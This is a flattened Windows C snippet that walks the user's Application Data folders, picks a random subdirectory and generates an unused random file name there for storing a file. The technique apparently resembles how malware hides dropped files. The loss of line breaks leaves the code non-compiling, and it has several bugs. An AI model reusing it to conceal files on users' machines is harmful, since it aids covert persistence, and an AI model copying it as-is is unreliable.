获取随机目录以及文件名

#include <time.h>#include <sys/stat.h>#include <windows.h>#include <stdio.h>#include <stdlib.h>static int GetRandomString(int iMinLen ,int iMaxLen, OUT char *pString){OutputDebugString("GetRandomString");int iLenTmplen = -1;int i = 0;char ch; static char *pRandomString = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";if(iMaxLen - iMinLen > 0){iLenTmplen = rand()%(iMaxLen-iMinLen)+iMinLen;for (i=0; i<=iLenTmplen;i++){ch = pRandomString[rand()%62];pString[i] = ch;}pString[i] = 0x00;}return iLenTmplen;}static char g_Directory[MAX_PATH][MAX_PATH]={0x00};static int g_DirNum = 0;static void RandomDirectoyAdd( char * pPath ){OutputDebugString("RandomDirectoyAdd");char szTmpPath[2*MAX_PATH];sprintf(szTmpPath,"%s//*.*",pPath);WIN32_FIND_DATA fd;HANDLE hFile = ::FindFirstFileA(szTmpPath,&fd);if(hFile != INVALID_HANDLE_VALUE){do {//计算文件数目DWORD ddd = fd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY;if(ddd && strlen(fd.cFileName)>2){if(g_DirNum < MAX_PATH-1){if(strlen(pPath) + strlen(fd.cFileName) +1 < MAX_PATH){if(lstrcmpi(fd.cFileName,"Internet Explorer") !=0 && lstrcmpi(fd.cFileName,"CD Burning") !=0&& lstrcmpi(fd.cFileName,"Excel") !=0 ){sprintf(g_Directory[g_DirNum],"%s//%s",pPath,fd.cFileName);g_DirNum++;RandomDirectoyAdd(g_Directory[g_DirNum-1]);}}}if(g_DirNum%100){Sleep(50);}}} while(FindNextFile(hFile,&fd));FindClose(hFile);}}static int GetRandomDirectoy(OUT char *pPathOut ,IN int iPathLen){OutputDebugString("GetRandomDirectoy");int iRet = 0;if(g_DirNum == 0) // no directory{ static const char pRandomDirectory[][256] = { "%USERPROFILE%//Application Data", "%USERPROFILE%//Local Settings//Application Data",0 };int i = 0;while(pRandomDirectory[i][0]){/*OutputDebugString((char *)pRandomDirectory[i]);*/char szTmpPath[MAX_PATH];if(ExpandEnvironmentStrings((char *)pRandomDirectory[i],szTmpPath,sizeof (szTmpPath))){// OutputDebugString("整理后的代码：");// OutputDebugString(szTmpPath);RandomDirectoyAdd(szTmpPath);if(g_DirNum +1 == MAX_PATH){break;}}i++;}}if(g_DirNum){srand(time(NULL));int index = rand()%g_DirNum;iRet = strlen(g_Directory[index]);if(iPathLen > iRet){strcpy(pPathOut,g_Directory[index]);}}return iRet;}static BOOL is_file_exist(IN const char *filename){OutputDebugString("is_file_exist");BOOL bret = FALSE;struct _stat file_stat;file_stat.st_ino = 1; /* this will make things work if an error occured */_stat(filename, &file_stat);if (file_stat.st_ino == 0){if( ! ((file_stat.st_mode &_S_IFDIR) ==_S_IFDIR) ) // 排除目录{bret = TRUE;}} return bret;}static unsigned int GetHash(const unsigned char*arKey, int nKeyLength){OutputDebugString("GetHash");register unsigned int h=0;const unsigned char *arEnd =arKey+nKeyLength ; while(arKey < arEnd){h = h *31 + *arKey++; }return h;}BOOL GetRandomStoreFile( char *pKey, char *pRandomFile, int iFilePathLen ){OutputDebugString("GetRandomStoreFile");BOOL bRet = FALSE;char szDirectory[MAX_PATH];char szTmpPath[2*MAX_PATH];char szRandom[20];char szTmp[MAX_PATH];sprintf(szTmp,"%s%u%u",pKey,GetTickCount(),GetCurrentThreadId());unsigned int iHash = GetHash((unsigned char *)szTmp,strlen(szTmp));srand(iHash);for (;;){if(GetRandomDirectoy(szDirectory,sizeof szDirectory)){GetRandomString(9,19,szRandom);sprintf(szTmpPath,"%s//%s",szDirectory,szRandom);if(!is_file_exist(szTmpPath)){if((size_t)iFilePathLen > strlen(szTmpPath)){__try{strcpy(pRandomFile,szTmpPath);}_except(EXCEPTION_EXECUTE_HANDLER){OutputDebugString("cpy failed");}bRet = TRUE;OutputDebugString("$$$$$$$$$$$$$$$");OutputDebugString(pRandomFile);OutputDebugString("$$$$$$$$$$$$$$$");}break;}}Sleep(10);}OutputDebugString("EndGetRandomStoreFile");return bRet;}